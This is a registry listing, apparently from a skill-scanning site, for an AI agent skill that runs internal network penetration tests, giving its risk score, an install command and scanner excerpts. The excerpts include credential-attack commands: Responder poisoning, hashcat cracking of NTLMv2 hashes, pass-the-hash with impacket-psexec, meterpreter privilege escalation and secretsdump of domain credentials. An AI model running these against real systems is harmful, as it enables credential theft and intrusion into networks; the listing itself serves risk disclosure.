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conducting-internal-network-penetration-test
80 / 100 · Low risk
Fine to try. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By mukul975/Anthropic-Cybersecurity-Skills (GitHub) · security · 35,906 stars · scanned at commit 54a7988
Execute an internal network penetration test simulating an insider threat
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
The author does not mention this. Expected for a security skill.
Found in 15 places.
Show 12 more
- skills/conducting-internal-network-penetration-test/SKILL.md, line 144
sudo responder -I eth0 -dwPv - skills/conducting-internal-network-penetration-test/SKILL.md, line 164
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt \ - skills/conducting-internal-network-penetration-test/SKILL.md, line 188
impacket-psexec 'corp.local/admin@10.0.0.30' -hashes :aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b - skills/conducting-internal-network-penetration-test/SKILL.md, line 212
meterpreter> getsystem - skills/conducting-internal-network-penetration-test/SKILL.md, line 233
impacket-secretsdump 'corp.local/domainadmin:DaPass123@10.0.0.5' -just-dc - skills/conducting-internal-network-penetration-test/SKILL.md, line 252
smbclient //10.0.0.10/Finance -U 'domainadmin%DaPass123' - skills/conducting-internal-network-penetration-test/scripts/agent.py, line 24
result = subprocess.run(cmd, capture_output=True, text=True, timeout=600) - skills/conducting-internal-network-penetration-test/scripts/agent.py, line 28
except subprocess.TimeoutExpired: - skills/conducting-internal-network-penetration-test/scripts/agent.py, line 36
result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) - skills/conducting-internal-network-penetration-test/scripts/agent.py, line 44
except (FileNotFoundError, subprocess.TimeoutExpired): - skills/conducting-internal-network-penetration-test/scripts/process.py, line 26
result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) - skills/conducting-internal-network-penetration-test/scripts/process.py, line 28
except subprocess.TimeoutExpired:
Downloads and installs other software
The author does not mention this.
Found in 3 places.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'conducting-internal-network-penetration-test' ] || [ -L ~/.agents/skills/'conducting-internal-network-penetration-test' ]; then echo 'A skill folder named conducting-internal-network-penetration-test already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/mukul975/Anthropic-Cybersecurity-Skills' "$d" && git -C "$d" checkout --quiet '54a798831d2266a3ca61ce68a7acb80b81160d57' -- 'skills/conducting-internal-network-penetration-test' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/conducting-internal-network-penetration-test' ~/.agents/skills/'conducting-internal-network-penetration-test' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'conducting-internal-network-penetration-test' ~/.claude/skills/'conducting-internal-network-penetration-test' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for mukul975/Anthropic-Cybersecurity-Skills shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/mukul975/Anthropic-Cybersecurity-Skills/)
Score history
| Date | Version | Score |
|---|
| 2026-11-08 | 54a7988 | 80 |
| 2026-11-07 | 54a7988 | 80 |